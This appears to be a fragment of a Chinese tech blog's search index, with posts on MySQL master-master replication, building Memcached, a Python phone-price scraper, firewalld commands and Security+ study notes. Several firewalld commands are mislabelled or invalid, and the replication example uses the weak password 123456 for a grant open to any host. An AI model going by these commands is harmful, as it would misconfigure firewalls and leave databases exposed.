https://raw.githubusercontent.com/JiangJiYue/yunwei/main/Opcache-gui-zn.phphttps://raw.githubusercontent.com/JiangJiYue/yunwei/main/Opcache-gui-zn.php","tags":["优化","运维","Linux","PHP","缓存"],"categories":["安全运维"]},{"title":"Linux-Mysql主主架构","path":"/2021/09/07/fc81f96/","content":"总字符数: 2.45K 代码: 1.20K, 文本: 0.48K 预计阅读时间: 7 分钟 我的测试环境是mysql+ Mariadb数据库,我这里拿2台服务器来做测试 提示:两台服务器的数据库版本要相同 修改配置文件(默认是my.cnf) 注意:下面所提到的参数全部都是在[mysqld]节点下添加 像主从同步一样,在这个文件的[mysqld]节点下添加参数,两台服务器都要添加,注意server-id不要相同 12345#A服务器 server-id=1 log-bin=mysql-bin auto_increment_offset = 1#表示该数据库的自增ID从1开始 auto_increment_increment = 2#设置为服务器的总数量,比如我们这里用2台服务器做测试,那么就设置为2.这里设置为2,表示的是每次自增时增长2,即该台数据库的自增ID的顺序为:1,3,4,7,9...... log-slave-updates = true 123456#B服务器 server-id=2 log-bin=mysql-bin auto_increment_offset = 2#表示该数据库的自增ID从1开始 auto_increment_increment = 2#设置为服务器的总数量,比如我们这里用2台服务器做测试,那么就设置为2.这里设置为2,表示的是每次自增时增长2,即该台数据库的自增ID的顺序为:1,3,4,7,9...... log-slave-updates = true 修改后的配置文件如下图: 接下来就简单了,跟主从同步的操作基本上一致了,首先是添加用来同步用的账号密码.在A、B两台服务器上添加相同的账号密码 123mysql -uroot -p123456 grant replicatiON slave on *.* to repl@'%' identified by '123456'; exit 添加完毕账号后,重启数据库服务systemctl restart mysqld 重启完毕后,重新登录两台服务器的数据库,查看日志文件的信息并记录File和Position信息 12mysql -uroot -p123456 show master status; 因为测试两个服务器都是全新安装的数据库,所以这些信息都是一样的.接下来在配置同步服务,首先在A服务器配置 1234#A服务器 change master to master_host='B服务器的IP',master_port=3306,master_user='B服务器的数据库账号repl',master_password='B服务器的数据库密码123456',master_log_file='mysql-bin.000001',master_log_pos=313; log_file就是主服务器File的值,这里要填写B服务器查询出来的值 master_log_pos就是主服务器Position的值,这里要填写B服务器查询出来的值 1234--B服务器change master to master_host='A服务器的IP',master_port=3306,master_user='A服务器的数据库账号repl',master_password='A服务器的数据库密码123456',master_log_file='mysql-bin.000001',master_log_pos=313;-- log_file就是主服务器File的值,这里要填写A服务器查询出来的值-- master_log_pos就是主服务器Position的值,这里要填写A服务器查询出来的值 然后在A、B服务器上执行start slave;开启同步在执行show slave status\\G;查看同步状态 当看到以下两个参数是YES就说明配置已经生效 12Slave_IO_Running: YesSlave_SQL_Running: Yes 剩下的自己可以创建个数据库测试一下","tags":["Centos","运维","Mysql","数据库"],"categories":["安全运维","数据库"]},{"title":"Linux-编译安装Memcached扩展","path":"/2021/09/04/b7ac11f8/","content":"总字符数: 1.79K 代码: 1.06K, 文本: 0.35K 预计阅读时间: 6 分钟 安装libmemcached扩展12345wget https://launchpad.net/libmemcached/1.0/1.0.18/+download/libmemcached-1.0.18.tar.gztar -xvzf libmemcached-1.0.18.tar.gzcd libmemcached-1.0.18./configure --with-memcached --disable-memcached-saslmake && make install 安装memcached扩展123wget http://pecl.php.net/get/memcached-3.1.3.tgztar -zxvf memcached-3.1.3.tgzcd memcached-3.1.3 首先使用phpize生成文件 如果php加了环境变量一般直接执行phpize就行了 如果找不到phpize使用查找命令find / -name phpize 搜索到文件,我的在/usr/local/bin/phpize目录,然后执行 1/usr/local/bin/phpize 不知道php-config在哪个目录 使用find方法 1find / -name php-config 这里需要将刚才安装的libmemcached的目录关联 1find / -name libmemcached 开始安装 12./configure --with-php-config=/usr/bin/php-config --with-libmemcached-dir=/usr/local --disable-memcached-saslmake && make install 提示Installing shared extensions: /usr/lib64/php/modules/安装成功 在php.ini中添加 12[memcached]extension=memcached.so 查看php.ini位置 1php -igrep php.ini 执行php -m查看扩展是否成功安装 安装 MemcachedLinux系统安装memcached,首先要先安装libevent库. 1yum install libevent libevent-devel 安装 Memcached1yum install memcached Memcached 运行 Memcached命令的运行: 作为前台运行: 1memcached -p 11211 -m 64m -vv 作为后台服务运行: 1memcached -d -m 64M -u root -l 127.0.0.1 -p 11211 -c 256 -P /tmp/memcached.pid 启动选项: -d是启动一个守护进程; -m是分配给Memcache使用的内存数量,单位是MB; -u是运行Memcache的用户; -l是监听的服务器IP地址,可以有多个地址; -p是设置Memcache监听的端口,,最好是1024以上的端口; -c是最大运行的并发连接数,默认是1024; -P是设置保存Memcache的pid文件. 查找允许 memcached 的进程 id: 123ps -efgrep memcachedroot 9662 1 0 10:13 ? 00:00:00 /usr/bin/memcached -d -m 1024 -u root -l 127.0.0.1 -p 11211 -c 1024 -P /tmp/memcached.pidroot 10155 8703 0 10:14 pts/0 00:00:00 grep memcached 测试 使用telnet命令测试能否连接成功 1telnet 127.0.0.1 11211 出现以上内容代表成功","tags":["优化","运维","Linux","PHP","缓存"],"categories":["安全运维"]},{"title":"Python-爬取中关村手机排行榜并对其可视化","path":"/2021/09/03/468ad79b/","content":"总字符数: 1.96K 代码: 1.74K, 文本: 0.07K 预计阅读时间: 8 分钟 导入模块1234567import requests import re import numpy as np import matplotlib import matplotlib.pyplot as plt from lxml import html etree = html.etree 网站分析中关村并没有用动态数据加载这里就直接爬取好了 12345678910111213141516171819202122232425def get_articles_list(): title_list = [] price_list = [] headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.89 Safari/537.36' } url = 'http://top.zol.com.cn/compositor/57/cell_phone.html' page = requests.get(url, headers=headers).text page_text = etree.HTML(page) li_list = page_text.xpath( '//div[@class="rank-list"]/div')#分析出包含手机名称以及价格的子div for li in li_list: title = li.xpath('./div[3]/div[1]/a/text()')#分析出手机名称 price = li.xpath('./div[4]/div/text()')#手机价格 for t, p in zip(title, price):#循环遍历出手机价格的字符串 t = re.sub(r"[\\uFF08-\\uFF09].*[\\uFF08-\\uFF09]", "", t)#利用正则表达式将手机名称中全角括号包括括号中的内容去掉 if p != '概念产品':#如果手机价格不等于概念产品就将其添加到list中 title_list.append(t) p = p[1:len(p)]#截取去掉原本带着的¥符号 price_list.append(int(p)) else:#等于概念产品就将价格改为99999方便后期做柱状图 p = 99999999 title_list.append(t) price_list.append(p) return title_list, price_list 利用matplotlib将数据生成柱状图123456789101112if __name__ == "__main__": title_list, price_list = get_articles_list() # 设置matplotlib正常显示中文和负号 matplotlib.rcParams['font.sans-serif'] = ['SimHei'] # 用黑体显示中文 matplotlib.rcParams['axes.unicode_minus'] = False # 正常显示负号 get_articles_list()#运行get_articles_list函数 plt.ylabel('价格')#y轴标题 plt.xlabel("品牌")#x轴标题 x = np.array(title_list[0:8])#选取前8个对其可视化 y = np.array(price_list[0:8])#选取前8个对其可视化 plt.bar(x, y)#设置x,y轴 plt.show()#显示图形 效果图","tags":["编程语言","Python","爬虫"],"categories":["编程语言","Python","爬虫"]},{"title":"Linux-FireWalld","path":"/2021/09/01/46f9142e/","content":"总字符数: 7.99K 代码: 6.98K, 文本: 0.83K 预计阅读时间: 34 分钟 FireWall-Cmd Linux上新用的防火墙软件,跟iptables差不多的工具 补充说明firewall-cmd 是 firewalld的字符界面管理工具,firewalld是centos7的一大特性,最大的好处有两个:支持动态更新,不用重启服务;第二个就是加入了防火墙的”zone”概念. firewalld跟iptables比起来至少有两大好处: firewalld可以动态修改单条规则,而不需要像iptables那样,在修改了规则后必须得全部刷新才可以生效. firewalld在使用上要比iptables人性化很多,即使不明白”五张表五条链”而且对TCP/IP协议也不理解也可以实现大部分功能. firewalld自身并不具备防火墙的功能,而是和iptables一样需要通过内核的netfilter来实现,也就是说firewalld和 iptables一样,他们的作用都是用于维护规则,而真正使用规则干活的是内核的netfilter,只不过firewalld和iptables的结 构以及使用方法不一样罢了. 命令格式 1firewall-cmd [选项 ... ] 选项通用选项123-h, --help # 显示帮助信息;-V, --version # 显示版本信息. (这个选项不能与其他选项组合);-q, --quiet # 不打印状态消息; 状态选项12345--state # 显示firewalld的状态;--reload # 不中断服务的重新加载;--complete-reload # 中断所有连接的重新加载;--runtime-to-permanent # 将当前防火墙的规则永久保存;--check-config # 检查配置正确性; 日志选项12--get-log-denied # 获取记录被拒绝的日志;--set-log-denied=<value> # 设置记录被拒绝的日志,只能为 'all','unicast','broadcast','multicast','off' 其中的一个; 实例安装firewalld12345678910111213141516yum install firewalld firewall-configsystemctl start firewalld # 启动systemctl stop firewalld # 停止systemctl enable firewalld # 启用自动启动systemctl disable firewalld # 禁用自动启动systemctl status firewalld # 或者 firewall-cmd --state 查看状态# 关闭服务的方法# 你也可以关闭目前还不熟悉的FirewallD防火墙,而使用iptables,命令如下:systemctl stop firewalldsystemctl disable firewalldyum install iptables-servicessystemctl start iptablessystemctl enable iptables 配置firewalld1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556firewall-cmd --version # 查看版本firewall-cmd --help # 查看帮助# 查看设置:firewall-cmd --state # 显示状态firewall-cmd --get-active-zones # 查看区域信息firewall-cmd --get-zone-of-interface=eth0 # 查看指定接口所属区域firewall-cmd --panic-on # 拒绝所有包firewall-cmd --panic-off # 取消拒绝状态firewall-cmd --query-panic # 查看是否拒绝firewall-cmd --reload # 更新防火墙规则firewall-cmd --complete-reload# 两者的区别就是第一个无需断开连接,就是firewalld特性之一动态添加规则,第二个需要断开连接,类似重启服务# 将接口添加到区域,默认接口都在publicfirewall-cmd --zone=public --add-interface=eth0# 永久生效再加上 --permanent 然后reload防火墙 # 设置默认接口区域,立即生效无需重启firewall-cmd --set-default-zone=public# 查看所有打开的端口:firewall-cmd --zone=dmz --list-ports# 加入一个端口到区域:firewall-cmd --zone=dmz --add-port=8080/tcp# 若要永久生效方法同上 # 打开一个服务,类似于将端口可视化,服务需要在配置文件中添加,/etc/firewalld 目录下有services文件夹,这个不详细说了,详情参考文档firewall-cmd --zone=work --add-service=smtp # 移除服务firewall-cmd --zone=work --remove-service=smtp# 显示支持的区域列表firewall-cmd --get-zones# 设置为家庭区域firewall-cmd --set-default-zone=home# 查看当前区域firewall-cmd --get-active-zones# 设置当前区域的接口firewall-cmd --get-zone-of-interface=enp03s# 显示所有公共区域(public)firewall-cmd --zone=public --list-all# 临时修改网络接口(enp0s3)为内部区域(internal)firewall-cmd --zone=internal --change-interface=enp03s# 永久修改网络接口enp03s为内部区域(internal)firewall-cmd --permanent --zone=internal --change-interface=enp03s 服务管理1234567891011121314151617181920212223# 显示服务列表 Amanda, FTP, Samba和TFTP等最重要的服务已经被FirewallD提供相应的服务,可以使用如下命令查看:firewall-cmd --get-services# 允许SSH服务通过firewall-cmd --new-service=ssh# 禁止SSH服务通过firewall-cmd --delete-service=ssh# 打开TCP的8080端口firewall-cmd --enable ports=8080/tcp# 临时允许Samba服务通过600秒firewall-cmd --enable service=samba --timeout=600# 显示当前服务firewall-cmd --list-services# 添加HTTP服务到内部区域(internal)firewall-cmd --permanent --zone=internal --add-service=httpfirewall-cmd --reload # 在不改变状态的条件下重新加载防火墙 端口管理123456789101112# 打开443/TCP端口firewall-cmd --add-port=443/tcp# 永久打开3690/TCP端口firewall-cmd --permanent --add-port=3690/tcp# 永久打开端口好像需要reload一下,临时打开好像不用,如果用了reload临时打开的端口就失效了# 其它服务也可能是这样的,这个没有测试firewall-cmd --reload# 查看防火墙,添加的端口也可以看到firewall-cmd --list-all 直接模式1234# FirewallD包括一种直接模式,使用它可以完成一些工作,例如打开TCP协议的9999端口firewall-cmd --direct -add-rule ipv4 filter INPUT 0 -p tcp --dport 9000 -j ACCEPTfirewall-cmd --reload 自定义服务管理选项12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273(末尾带有 [P only] 的话表示该选项除了与(--permanent)之外,不能与其他选项一同使用!)--new-service=<服务名> 新建一个自定义服务 [P only]--new-service-from-file=<文件名> [--name=<服务名>] 从文件中读取配置用以新建一个自定义服务 [P only]--delete-service=<服务名> 删除一个已存在的服务 [P only]--load-service-defaults=<服务名> Load icmptype default settings [P only]--info-service=<服务名> 显示该服务的相关信息--path-service=<服务名> 显示该服务的文件的相关路径 [P only]--service=<服务名> --set-description=<描述> 给该服务设置描述信息 [P only]--service=<服务名> --get-description 显示该服务的描述信息 [P only]--service=<服务名> --set-short=<描述> 给该服务设置一个简短的描述 [P only]--service=<服务名> --get-short 显示该服务的简短描述 [P only] --service=<服务名> --add-port=<端口号>[-<端口号>]/<protocol> 给该服务添加一个新的端口(端口段) [P only] --service=<服务名> --remove-port=<端口号>[-<端口号>]/<protocol> 从该服务上移除一个端口(端口段) [P only] --service=<服务名> --query-port=<端口号>[-<端口号>]/<protocol> 查询该服务是否添加了某个端口(端口段) [P only] --service=<服务名> --get-ports 显示该服务添加的所有端口 [P only] --service=<服务名> --add-protocol=<protocol> 为该服务添加一个协议 [P only] --service=<服务名> --remove-protocol=<protocol> 从该服务上移除一个协议 [P only] --service=<服务名> --query-protocol=<protocol> 查询该服务是否添加了某个协议 [P only] --service=<服务名> --get-protocols 显示该服务添加的所有协议 [P only] --service=<服务名> --add-source-port=<端口号>[-<端口号>]/<protocol> 添加新的源端口(端口段)到该服务 [P only] --service=<服务名> --remove-source-port=<端口号>[-<端口号>]/<protocol> 从该服务中删除源端口(端口段) [P only] --service=<服务名> --query-source-port=<端口号>[-<端口号>]/<protocol> 查询该服务是否添加了某个源端口(端口段) [P only] --service=<服务名> --get-source-ports 显示该服务所有源端口 [P only] --service=<服务名> --add-module=<module> 为该服务添加一个模块 [P only]--service=<服务名> --remove-module=<module> 为该服务移除一个模块 [P only]--service=<服务名> --query-module=<module> 查询该服务是否添加了某个模块 [P only]--service=<服务名> --get-modules 显示该服务添加的所有模块 [P only]--service=<服务名> --set-destination=<ipv>:<address>[/<mask>] Set destination for ipv to address in service [P only]--service=<服务名> --remove-destination=<ipv> Disable destination for ipv i service [P only]--service=<服务名> --query-destination=<ipv>:<address>[/<mask>] Return whether destination ipv is set for service [P only]--service=<服务名> --get-destinations List destinations in service [P only] 控制端口 / 服务可以通过两种方式控制端口的开放,一种是指定端口号另一种是指定服务名.虽然开放 http 服务就是开放了 80 端口,但是还是不能通过端口号来关闭,也就是说通过指定服务名开放的就要通过指定服务名关闭;通过指定端口号开放的就要通过指定端口号关闭.还有一个要注意的就是指定端口的时候一定要指定是什么协议,tcp 还是 udp.知道这个之后以后就不用每次先关防火墙了,可以让防火墙真正的生效. 1234567firewall-cmd --add-service=mysql # 开放mysql端口firewall-cmd --remove-service=http # 阻止http端口firewall-cmd --list-services # 查看开放的服务firewall-cmd --add-port=3306/tcp # 开放通过tcp访问3306firewall-cmd --remove-port=80tcp # 阻止通过tcp访问3306firewall-cmd --add-port=233/udp # 开放通过udp访问233firewall-cmd --list-ports # 查看开放的端口 伪装 IP123firewall-cmd --query-masquerade # 检查是否允许伪装IPfirewall-cmd --add-masquerade # 允许防火墙伪装IPfirewall-cmd --remove-masquerade# 禁止防火墙伪装IP 端口转发端口转发可以将指定地址访问指定的端口时,将流量转发至指定地址的指定端口.转发的目的如果不指定 ip 的话就默认为本机,如果指定了 ip 却没指定端口,则默认使用来源端口. 如果配置好端口转发之后不能用,可以检查下面两个问题: 比如我将 80 端口转发至 8080 端口,首先检查本地的 80 端口和目标的 8080 端口是否开放监听了 其次检查是否允许伪装 IP,没允许的话要开启伪装 IP 123firewall-cmd --add-forward-port=port=80:proto=tcp:toport=8080 # 将80端口的流量转发至8080firewall-cmd --add-forward-port=port=80:proto=tcp:toaddr=192.168.0.1 # 将80端口的流量转发至192.168.0.1firewall-cmd --add-forward-port=port=80:proto=tcp:toaddr=192.168.0.1:toport=8080 # 将80端口的流量转发至192.168.0.1的8080端口 当我们想把某个端口隐藏起来的时候,就可以在防火墙上阻止那个端口访问,然后再开一个不规则的端口,之后配置防火墙的端口转发,将流量转发过去. 端口转发还可以做流量分发,一个防火墙拖着好多台运行着不同服务的机器,然后用防火墙将不同端口的流量转发至不同机器.","tags":["Centos","运维","防火墙"],"categories":["安全运维","Linux"]},{"title":"五. 风险分析","path":"/2021/06/02/9349e687/","content":"总字符数: 2.22K 代码: 无, 文本: 1.51K 预计阅读时间: 7 分钟 分析组织的风险 分析组织的风险 分析风险造成的业务影响 风险管理确定风险,分析风险,制定应对风险的响应策略,并缓解其带来的未来影响的过程 帮助防止或减小安全事件的影响 四个阶段 评估 分析 响应 缓解 风险分析的组成 确定威胁可能会利用的漏洞 确定损害发生的可能性 确定潜在损害的影响范围 风险分析的阶段风险分析:用于评估可能对组织造成造成影响的风险损害的过程 资产确定 漏洞确定 威胁评估 可能性量化 影响分析 应对措施的确定 威胁类型的分类 自然 与天气或其余自然活动造成的其他不可控事件有关 人为 由个人或集体的人为活动造成的其余事件.可能的有意或无意引起的 系统 与网络,服务,应用程序或设备中发现的任何缺陷或漏洞有关 风险分析的方式 定性 使用描述和文字来衡量风险的程度和影响,如高中低 通常基于场景 可能较为主观并且难以测试依据人的经验,主观划分,没有明确的定义 定量 仅基于数值更加客观,更加科学 将风险数据与历史记录,经验,行业最佳实践,统计理论和测试进行对比但是计算起来比较难,更复杂一些 半定量以上两种方法的结合体 使用描述和数值 尝试在定量和定性风险之间找到中间地带 风险计算(评估可接受范围) SLE:单一不良事件带来的预期财产损失 ALE:一项风险对组织造成的总体年度损失 ARO:特定损失预计每年发生的次数 ALE=SLE*ARO 风险计算计算的结果同时取决于损失带来的成本和缓解措施带来的成本 漏洞表能帮助记录风险计算因素 处理风险的方式 接受 承认并接受风险及带来的后果 接受并不代表让系统完全地暴露在漏洞之下 接受意识涉及到的风险不能完全避免,或是缓解或避免的成本过高 转移 将风险的责任分配给其他机构,或第三方如:保险公司 避免 通过消除风险的来源彻底消除风险 降低风险 采取行动保护免受可能的威胁 当潜在风险存在重大影响时进行实施 主动防御(IDS)或警示措施(备份处于风险中的数据) 风险缓解和控制类型 技术控制(Technical control) 应用软硬件装置监控和防止计算机系统于服务中的威胁和攻击 管理控制(Management control) 应用相应流程监控组织安全策略的服从情况 操作控制(Operational control)又称物理控制 用于保护日常业务操作,功能和活动所有方面的安全措施 损失/损害控制(Loss/damage control) 用户保护关键资产不受侵害的安全措施 变更管理一种批准并执行变更的系统性方法,以便确保信息技术服务达到最佳的安全性,稳定性和可用性 一般会优先在测试环境测试一遍,一旦变更就可能会引入新的风险,不变更就不会引入新的风险 如果变更失败,先斩后奏,先恢复业务并撰写恢复步骤 硬件,软件基础设施和文档记录中的变更可能会有损组织安全性的水平 量化培训,支持,维护和实施的成本 分析每次变更的益处和复杂性 分析 变更的需求 变更的类型 组织文化 计划 变更角色 变更职责 解决阻力 实施 管理过渡阶段 确定采用变更 执行项目之后的审核 新的服务数据包为生产服务器修复了几个安全漏洞 服务器托管了一个自定义应用程序,该应用必须要保持可用 变更管理策略要求对所有服务器数据包进行正式批准 新的服务包在进行部署之前,必须在实验服务器中进行测试 测试结果显示,该服务器数据包会使自定义应用程序出现崩溃 在服务包被部署到生产服务器之前,改自定义应用程序必须进行修正和重新测试 分析风险的准则 清晰地定义组织对安全性的期望 确定需要进行保护的资产,并确定它们的价值 寻找可能存在的漏洞,如果这些漏洞被利用,可能对组织产生的副作用 确定资产的潜在威胁 确定威胁利用漏洞的可能性 确定威胁的影响 确定最适合的风险分析方式 确定可能的应对措施 清晰地记录所有发现和所做决策","tags":["信息安全","Security+","安全管理","蓝队"]},{"title":"六. 执行业务影响分析","path":"/2021/06/02/71a5afb3/","content":"总字符数: 1.28K 代码: 无, 文本: 0.74K 预计阅读时间: 3 分钟 BIA 一种系统性活动,用于确定组织风险及其对持续的,任务关键型的业务与流程产生的影响 漏洞评估和评测 确定风险及其影响 覆盖业务的所有阶段 可以是业务连续性计划(BCP)中的一部分 BIA包括: 可承受停机时间的预估 财物损失的影响 需要恢复的资源 效率降低的可能性 关键流程的优先级 影响的场景 影响 描述 生命 自然灾害和故意的人为威胁:1. 极端气象事件2. 地震事件3. 纵火或其他火灾4. 恐怖袭击 财产 自然灾害和故意的人为威胁:1. 极端气象事件2. 地震事件3. 纵火或其他火灾4. 恐怖袭击5. 强行闯入6. 设备损坏 安全 自然灾害和故意的人为威胁:1. 极端气象事件2. 地震事件3. 纵火或其他火灾4. 恐怖袭击5. 过多员工生病或感染流行病 财务 自然灾害和故意的人为威胁:1. 极端气象事件2. 地震事件3. 纵火或其他火灾4. 恐怖袭击5. 强行闯入6. 盗窃7. 设备损坏8. 文件损毁9. 故意或意外的信息泄露10. 用户错误11. 社交网络和云计算12. 过多员工生病或感染流行病13. 不安全的移动和联网设备14. 不稳定的虚拟环境15. 电子邮件和账户管理漏洞 名誉 人为风险和系统风险:1. 恢复中断服务或受损文件的响应时间2. 频繁的信息泄露3. 对重复发生的问题的认知4. 对敏感程度的认知组织对风险的响应:1. 自然灾害过程中的物价哄抬2. 处理信息泄露的响应时间 隐私评估 隐私影响评估(Privacy impact assessment(PIA)):在程序或系统生命周期过程中用于确定并分析风险的一种工具 隐私阈值评估(Privacy threshold assessment(PtA)):用于确定何时需要进行PIA的一种文档 个人可识别信息(Personally identifiable information(PII)):公司用来确定身份或联系员工及其他人的信息 需要在线收集PII的任何美国机构都需要进行 不同的组织的其他规章制度可能也会对此有所要求","tags":["信息安全","Security+","安全管理","蓝队"]},{"title":"四. 基本的加密概念","path":"/2021/05/31/e97492f3/","content":"总字符数: 2.10K 代码: 无, 文本: 1.02K 预计阅读时间: 4 分钟 密码学一种隐藏信息的科学,最常用的方式就是对用于发送消息的秘密代码进行编码和解码 基于数学和计算机科学 保护传输中和静止中的数据 加密和解密加密:数据从明文形式转化为编码或密文形式的一种安全技术、以便只有拥有必要解密信息的授权方才能解码并读取数据明文:在传输数据之间打算进行加密的未加密数据,或指被加密数据的加密结果密文:经过编码,不可阅读的数据解密:将密文转化回明文的密码技术明文:未打算进行加密的未加密可读取数据 只有拥有解密信息的授权方才能读取被加密文件 单向加密表示不能进行解密 双向加密表示可以进行解密 加密和安全目标 机密性 完整性 不可否认性 认证 访问控制 编码编码:一种用于加密或解密数据的算法译成密码:将明文转换成密文的过程破译密码:将密文转换成明文的过程 编码:通过修改每个字母或字节来打乱消息 代码:修改词或词组,或仿照一种秘密语言 破解代码和编码的学科叫做密码分析 密钥与算法一起使用来执行加解密的特定信息段 不同的密钥产生不同的密文 对每种算法来说,较长的密钥提供了较强的加密 静态密钥和暂时密钥 对称加密一种双向加密,其中加解密都使用相同的密钥(共享密钥加密) 硬件密钥和软件密钥 在加密通讯开始之前,密钥必须进行安全的共享 快速,但如果密钥丢失或被破解,就会变得不堪一击 常见的替换名称 保密密钥 共享密钥 私钥 非对称加密 非对称加密:使用成对的公钥和私钥的一种双向加密机制 私钥:非对称加密的组成部分,在双向加密的过程中由一方保密 公钥:非对称加密的组成部分,可被任何人访问 密钥生成:使用特定应用程序产生一个公钥和私钥对的过程 散列散列算法:将明文转换为无法直接解密的密文的过程或函数散列,散列值、消息摘要:从散列加密中产生的值 在几种密码认证机制中使用 在数字签名中使用 用于验证文件完整性 信息隐藏一种可选的加密技巧,通过将秘密消息封装入一条普通信息中进行隐藏 隐藏内容及其存在性 信息被嵌入到文本或图像中","tags":["信息安全","Security+","安全管理","蓝队"]},{"title":"三. 基本的认证和授权概念","path":"/2021/05/30/5a8f5c38/","content":"总字符数: 0.73K 代码: 无, 文本: 0.60K 预计阅读时间: 3 分钟 密码 结合使用用户名和密码可能是使用最广泛的认证机制 凭证与存储在数据库中的凭证进行比对 不必保证提供凭证的是正确用户 凭证在传输过程中未经加密时,可能容易遭遇攻击者的攻击 口令 存储了认证信息的物理或虚拟对象.常见的有:智能卡,ID徽章和数据包 可以存储PIN,用户信息和密码 通过响应认证服务器质询生存口令值 生物识别 根据个人的物理特征来确定个人身份的一种认证机制 指纹扫描仪 视网膜扫描仪 手形扫描仪 声音识别软件 面部识别软件 地理定位 确定对象地理位置的过程 将街道地址与以下信息相关联: ID地址 WIFI定位系统 GPS坐标 来自被允许位置上的请求会被授予认证 击键认证 在计算机或其他电子设备中键入信息时,根据按键被按压和释放时精确且详细的信息进行验证的认证类型 使用你个人打字时的倾向 记录并存储你的打字行为用于比较 使用击键记录器或收集其他测量指标生成对每个用户具有唯一性的击键模式 多因素验证 需要验证两种或多种不同认证因素的认证机制 银行信用卡:卡(口令)和PIN(密码) 如果你不需要输入PIN,那么这些芯片卡就不属于多因素 电子邮件或其他应用程序的认证应用程序 登录电子邮件或其他应用程序时,键入来自短消息的验证码 务必使用不同的因素 相互认证 需要通讯中的每一方之间相互验证身份的一种安全机制 服务或资源验证客户端的凭证,客户端验证服务或资源的凭证 防止客户端将机密信息发送到不安全的服务器上 帮助避免中间人攻击","tags":["信息安全","Security+","安全管理","蓝队"]},{"title":"二. 基本的安全控制","path":"/2021/05/29/48d580ab/","content":"总字符数: 1.40K 代码: 无, 文本: 1.13K 预计阅读时间: 5 分钟 确定基本的安全控制控制 为避免,缓解或抵消由威胁或攻击引起的安全风险而必须部署的应对对策 满足信息安全目标的解决方案和行动 逻辑的或物理的保护措施和应对手段 方法 预防控制(Prevention control) 帮助预防因漏洞暴露而遭受到的威胁或攻击 检测控制(Detection control) 帮助你发现威胁或漏洞是否已经进入计算机系统 校正控制(Correction control) 帮助缓解威胁或攻击给计算机系统带来的不利影响 安全管理流程确定安全控制 检测问题并确定保护系统的最佳方式 实施安全控制 安装控制机制来预防系统中的问题 监控安全控制 包括检测并解决实施安全控制之后出现的任何安全问题 CIA 三位一体 安全控制和管理的三个原则:机密性、完整性、可用性 机密性 保障信息和通讯私密性以及保护其不受未授权访问威胁的基本原则 包括商业和军事秘密,职工信息,健康档案,纳税记录 通过加密,访问控制,信息隐藏等方式进行控制 完整性 保障组织信息的准确性,无措性,以及未授权的修改 包括对存储在网络服务器上的测试成绩或其他信息的修改 通过散列,数字签名,证书和变更控制来进行保障 可用性 确保计算机系统持续性运行以及授权人员能按需访问数据 包括确保重要数据,如雷达图像既可以被捕获也可以被发送到航空系统 通过冗余,容错和补丁的方式进行控制 不可否认性 确保了发起传输或创建数据的乙方保持与数据的连接且不能否认发送或创建过该数据 可追责性 确定对特定活动或事件负有责任的人员的过程 身份识别 对特定实体的性质声明所有权的过程 当组织需要更高级别的安全或保护时,往往会在身份识别系统中加大投入 身份识别通常会将资源(如电子邮件地址或用户名)与密码关联起来,并在其中包含额外的识别信息 认证 验证特定实体或个人身份及其唯一凭证的方法 个人是否具有访问系统的正确凭证? 保护凭证的机密性,以防止机密信息的未授权访问 认证因素 指纹,掌纹,视网膜 密钥,ID卡 密码,PIN IP地址,MAC地址,GPS位置 击键模式或跟踪图片密码 授权 确定特定实体拥有哪些权力和权限的过程 身份识别和认证成功后,系统就能确定实体被授予了哪些资源的访问权限 步骤 身份识别 认证 授权 访问控制 为资源,对象,数据确定并分配权限的过程 步骤 用户—>访问控制(管理员监管)—>服务器授权—>访问成功 计费和审计 计费:跟踪并记录系统活动和资源访问的过程审计:计费的一部分,安全专家会审核被记录下来的日志 最小特权原则 规定用户和软件只能被赋予执行任务所必须的最低访问级别的原则 应用于对设施,计算机硬件,软件和信息的访问 仅分配执行必要任务所需的最底层次访问权限 特权管理 特权管理:使用认证和授权机制提供用户和组访问控制的集中式或分散式管理SSO:特权管理的一个方面,为用户提供了多种资源,服务器或站点一次性登录","tags":["信息安全","Security+","安全管理","蓝队"]},{"title":"一. 信息安全的基础","path":"/2021/05/25/5991462f/","content":"总字符数: 0.75K 代码: 无, 文本: 0.62K 预计阅读时间: 3 分钟 信息安全 保护可用信息或信息来源不会受到未授权访问,攻击,盗取或数据损坏 负责的个人和机构必须保护他们的机密信息 所有形式的数据都必须加以保护 将商业风险和丢失关键数据造成的其他影响降到了最低 信息安全的目标预防 各种类型的信息都需要加以保护 这样做可以减少安全泄露造成的损失 防止信息的未授权访问具有最高优先级 检测 发现访问未授权数据的尝试,或已经丢失的信息 对个体进行调查、扫描数据和网络,寻找入侵者留下的蛛丝马迹 恢复 灾难或入侵可能会引起受损或数据损坏 你需要执行一个进程来从崩溃的系统或设备中恢复数据 风险 表示了面临损坏或丢失的可能性的概念,并说明了发生灾难或重大威胁的概率 IT风险常常与系统,电力,网络或物理性损失有关 所有形式的数据都必须加以保护 设计和实施信息安全时,组织必须将风险考虑在内 漏洞 任何可能使信息系统遭受损坏的情况 不合理地配置或安装软硬件 未及时应用和测试软件及固件补丁 未经测试的软件及固件补丁 软件或操作系统中的错误 软件或通讯协议的错误使用 设计拙劣的网络 糟糕的物理安全 不安全的密码 软件或操作系统中的设计缺陷 未经检查的用户数据 威胁 可能对资产造成损坏的任何事件或行动 对信息的更改 服务中断 访问中断 对硬件的损坏 对设施的损坏 攻击 在未经授权的情况下,利用应用程序或物理计算机系统中漏洞的技术 物理安全攻击 基于软件的攻击 社交工程攻击 基于网络应用程序的攻击 基于网络的攻击","tags":["信息安全","Security+","安全管理","蓝队"]},{"title":"Python-数据分析及可视化","path":"/2021/05/24/f21126ec/","content":"总字符数: 25.54K 代码: 17.89K, 文本: 3.33K 预计阅读时间: 1.54 小时 Matplotlibmatplotlib基本要点基本使用123456789from matplotlib import pyplot as plt#导入pyplotx = range(2,26,2)#数据在x轴的位置,是一个可迭代对象y =[15,13,14.5,17,20,25,26,26,24,22,18,15]#数据在y轴的位置,是一个可迭代对象#x轴和y轴的数据一起组成了所有要绘制出的坐标分别是(2,15),(4,13),(6,14.5),(8,17)...plt.plot(x,y)#传入x和y,通过plot绘制出折线图plt.show()#在执行程序的时候展示图形 